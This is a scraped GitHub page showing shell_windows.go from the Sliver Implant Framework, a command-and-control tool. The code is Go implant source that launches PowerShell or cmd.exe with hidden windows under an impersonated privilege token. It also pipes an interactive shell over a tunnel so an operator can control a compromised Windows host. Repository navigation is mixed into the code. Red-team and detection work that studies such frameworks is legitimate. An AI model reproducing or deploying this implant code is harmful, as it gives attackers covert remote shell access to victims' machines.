sliver / implant / sliver / shell / **shell_windows.go**

rkervella Handle stderr for shell command · e7284b5 · 2 years ago · History

```go
package shell

/*
	Sliver Implant Framework
	Copyright (C) 2019  Bishop Fox

	This program is free software: you can redistribute it and/or modify
	it under the terms of the GNU General Public License as published by
	the Free Software Foundation, either version 3 of the License, or
	(at your option) any later version.

	This program is distributed in the hope that it will be useful,
	but WITHOUT ANY WARRANTY; without even the implied warranty of
	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
	GNU General Public License for more details.

	You should have received a copy of the GNU General Public License
```

sliver / implant / sliver / shell / shell_windows.go · Top

Code · Blame · 117 lines (101 loc) · 2.71 KB · Raw

```go
	// {{if .Config.Debug}}
	"log"
	// {{end}}

	"context"
	"github.com/bishopfox/sliver/implant/sliver/priv"
	"golang.org/x/sys/windows"
	"os/exec"
	"syscall"
)

var (
	// Shell constants
	commandPrompt = []string{"C:\\Windows\\System32\\cmd.exe"}
	powerShell    = []string{
		"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
		"-NoExit",
		"-Command", "[Console]::OutputEncoding=[Text.UTF8Encoding]::UTF8",
	}
)

// GetSystemShellPath - Find powershell or cmd
func GetSystemShellPath(path string) []string {
	if exists(path) {
		return []string{path}
	}
	if exists(powerShell[0]) {
		return powerShell
	}
	return commandPrompt
}

// Start - Start a process
func Start(command string) error {
	cmd := exec.Command(command)
```

- proxy
- ps
- registry
- screen
- service
- shell
  - pty
  - ssh
  - shell-pty.go
  - shell.go
  - shell_generic.go
  - shell_windows.go
- spoof
- syscalls
- taskrunner
- transports
- version
- winhttp
- README.md
- sliver.c
- sliver.go
- sliver.h

```go
	cmd.SysProcAttr = &windows.SysProcAttr{
		Token:      syscall.Token(priv.CurrentToken),
		HideWindow: true,
	}
	return cmd.Start()
}

// StartInteractive - Start a shell
func StartInteractive(tunnelID uint64, command []string, _ bool) (*Shell, error) {
	return pipedShell(tunnelID, command)
}

func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
	// {{if .Config.Debug}}
	log.Printf("[shell] %s", command)
	// {{end}}

	ctx, cancel := context.WithCancel(context.Background())

	cmd := exec.CommandContext(ctx, command[0], command[1:]...)
	cmd.SysProcAttr = &windows.SysProcAttr{
		Token:      syscall.Token(priv.CurrentToken),
		HideWindow: true,
	}
	stdin, err := cmd.StdinPipe()
	if err != nil {
		// {{if .Config.Debug}}
		log.Printf("[shell] stdin pipe failed\n")
		// {{end}}
		cancel()
		return nil, err
	}
	stdout, err := cmd.StdoutPipe()
	if err != nil {
		// {{if .Config.Debug}}
		log.Printf("[shell] stdout pipe failed\n")
		// {{end}}
		cancel()
		return nil, err
	}

	stderr, err := cmd.StderrPipe()
	if err != nil {
		// {{if .Config.Debug}}
		log.Printf("[shell] stderr pipe failed\n")
		// {{end}}
		cancel()
		return nil, err
	}

	err = cmd.Start()

	return &Shell{
		ID:      tunnelID,
		Command: cmd,
		Stdout:  stdout,
		Stdin:   stdin,
		Stderr:  stderr,
		Cancel:  cancel,
	}, err
}
```